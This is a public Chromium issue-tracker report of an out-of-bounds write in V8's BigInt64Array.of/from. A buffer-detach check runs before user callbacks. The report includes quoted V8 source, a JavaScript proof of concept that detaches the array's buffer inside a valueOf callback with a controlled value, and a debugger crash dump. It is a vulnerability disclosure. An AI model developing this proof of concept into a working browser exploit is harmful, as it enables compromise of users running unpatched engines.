Issue metadata
Sign in to add a comment
|
Security: V8 OOB write BigInt64Array.of and BigInt64Array.from side effect neuter
Reported by
btis...@gmail.com,
Jul 26
|
||||||||||||||||||||
Issue description
Vulnerability Details
This appears to be a bug that was introduced after fixing 816961. I don't have permission to view the issue, but the regression test `regress-crbug-816
961.js` covers all cases except the BigInt64Array code path.
`TypedArrayOf`(builtins-typedarray.cc:1634) has a special case for BigInt64Arrays which is handled by `EmitBigTypedArrayElementStore` (code-stub-assemb
ler.cc:8815).
(line numbers taken from 6.8.275.24)
1675 if (kind == BIGINT64_ELEMENTS || kind == BIGUINT64_ELEMENTS) {
1676 EmitBigTypedArrayElementStore(new_typed_array, elements,
1677 intptr_index, item, context,
1678 &if_neutered);
`EmitBigTypedArrayElementStore` checks to see if the BigInt64Array is neutered and if so bails out. The check happens before `ToBigInt` which triggers
callbacks.
8815 void CodeStubAssembler::EmitBigTypedArrayElementStore(
8816 TNode<JSTypedArray> object, TNode<FixedTypedArrayBase> elements,
8817 TNode<IntPtrT> intptr_key, TNode<Object> value, TNode<Context> context,
8818 Label* opt_if_neutered) {
8819 if (opt_if_neutered != nullptr) { <----- Check for neuter
8820 // Check if buffer has been neutered.
8821 Node* buffer = LoadObjectField(object, JSArrayBufferView::kBufferOffset);
8822 GotoIf(IsDetachedBuffer(buffer), opt_if_neutered);
8823 }
8824
8825 TNode<BigInt> bigint_value = ToBigInt(context, value); <------- Callbacks are triggered (neuter)
8826 TNode<RawPtrT> backing_store = LoadFixedTypedArrayBackingStore(elements);
8827 TNode<IntPtrT> offset = ElementOffsetFromIndex(intptr_key, BIGINT64_ELEMENTS,
8828 INTPTR_PARAMETERS, 0);
8829 EmitBigTypedArrayElementStore(elements, backing_store, offset, bigint_value);
8830 }
Version
V8 6.8.275.24
Reproduction case
I've used %ArrayBufferNeuter and gc for simplicity
```
// Tested with
// gn args
// is_debug=false
// EOF
// or x64.release
// flags: --allow-natives-syntax --expose-gc
var array = new BigInt64Array(11);
function evil_callback() {
print("callback");
%ArrayBufferNeuter(array.buffer);
gc();
return 71748523475265n - 16n; // rax: 0x41414141414141
}
var evil_object = {valueOf: evil_callback}
var root = BigInt64Array.of.call(
function() { return array },
evil_object
)
gc(); // trigger
```
$ ./out/x64.release/d8 --allow-native-syntax --expose-gc ./bigint-v8.js
```
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$rax : 0x414141414131
$rbx : 0x55555619c0e0 → 0x00005555561434f0 → 0x0000000000000000
$rcx : 0x0
$rdx : 0x2
$rsp : 0x7fffffffc5d0 → 0x0000555556187ef0 → 0x00005555560d6190 → 0x0000555555b56360 → <v8::internal::MarkCompactCollector::~MarkCompactCollector()+0> push rbp
$rbp : 0x7fffffffc600 → 0x00007fffffffc640 → 0x00007fffffffc750 → 0x00007fffffffc790 → 0x00007fffffffc800 → 0x00007fffffffc960 → 0x00007fffffffca40 → 0x00007fffffffca60
$rsi : 0x1ff
$rdi : 0x1
$rip : 0x555555b9bffb → <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> mov QWORD PTR [rax+rdx*8], r14
$r8 : 0x55555619c130 → 0x0000000000000001
$r9 : 0x1
$r10 : 0x7fffffffc5d0 → 0x0000555556187ef0 → 0x00005555560d6190 → 0x0000555555b56360 → <v8::internal::MarkCompactCollector::~MarkCompactCollector()+0> push rbp
$r11 : 0x263816e8c028a0
$r12 : 0x55555619c1f8 → 0x0000000000000000
$r13 : 0x0
$r14 : 0x176c82000000 → 0x0000000000080000
$r15 : 0x55555619c130 → 0x0000000000000001
$eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$ss: 0x002b $gs: 0x0000 $ds: 0x0000 $fs: 0x0000 $cs: 0x0033 $es: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0x00007fffffffc5d0│+0x00: 0x0000555556187ef0 → 0x00005555560d6190 → 0x0000555555b56360 → <v8::internal::MarkCompactCollector::~MarkCompactCollector()+0> push rbp ← $rsp, $r10
0x00007fffffffc5d8│+0x08: 0x0000176c82000000 → 0x0000000000080000
0x00007fffffffc5e0│+0x10: 0x000055555619cfd0 → 0x0000000000000000
0x00007fffffffc5e8│+0x18: 0x0000000000000000
0x00007fffffffc5f0│+0x20: 0x0000176c82080000 → 0x0000000000080000
0x00007fffffffc5f8│+0x28: 0x000055555619cf40 → 0x00005555560d5cf8 → 0x0000555555b486f0 → <v8::internal::PagedSpace::~PagedSpace()+0> push rbp
0x00007fffffffc600│+0x30: 0x00007fffffffc640 → 0x00007fffffffc750 → 0x00007fffffffc790 → 0x00007fffffffc800 → 0x00007fffffffc960 → 0x00007fffffffca40 → 0x00007fffffffca60 ← $rbp
0x00007fffffffc608│+0x38: 0x0000555555b638d8 → <v8::internal::MarkCompactCollector::StartSweepSpace(v8::internal::PagedSpace*)+232> mov rbx, r14
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
0x555555b9bfed <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> shr rcx, 0x9
0x555555b9bff1 <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> mov rax, QWORD PTR [rax+rcx*8]
0x555555b9bff5 <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> and edx, 0x1ff
→ 0x555555b9bffb <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> mov QWORD PTR [rax+rdx*8], r14
0x555555b9bfff <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> add QWORD PTR [r12], 0x1
0x555555b9c004 <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> mov rdi, r15
0x555555b9c007 <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> add rsp, 0x8
0x555555b9c00b <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> pop rbx
0x555555b9c00c <v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace,+0> pop r12
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "d8", stopped, reason: SIGSEGV
[#1] Id 2, Name: "V8 WorkerThread", stopped, reason: SIGSEGV
[#2] Id 3, Name: "V8 WorkerThread", stopped, reason: SIGSEGV
[#3] Id 4, Name: "V8 WorkerThread", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x555555b9bffb → Name: v8::internal::Sweeper::AddPage(v8::internal::AllocationSpace, v8::internal::Page*, v8::internal::Sweeper::AddPageMode)()
[#1] 0x555555b638d8 → Name: v8::internal::MarkCompactCollector::StartSweepSpace(v8::internal::PagedSpace*)()
[#2] 0x555555b596ca → Name: v8::internal::MarkCompactCollector::StartSweepSpaces()()
[#3] 0x555555b57848 → Name: v8::internal::MarkCompactCollector::CollectGarbage()()
[#4] 0x555555b3af52 → Name: v8::internal::Heap::MarkCompact()()
[#5] 0x555555b38e5c → Name: v8::internal::Heap::PerformGarbageCollection(v8::internal::GarbageCollector, v8::GCCallbackFlags)()
[#6] 0x555555b3767d → Name: v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags)()
[#7] 0x555555b36399 → Name: v8::internal::Heap::CollectAllGarbage(int, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags)()
[#8] 0x55555588677b → Name: v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo*)()
[#9] 0x555555885cb7 → Name: v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::inter
nal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArgum
ents)()
```
bigint-v8.js (tested with release version of V8 6.8.275.24)
,
Jul 26
,
Nov 6
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||
Comment 1 by btis...@gmail.com
, Jul 26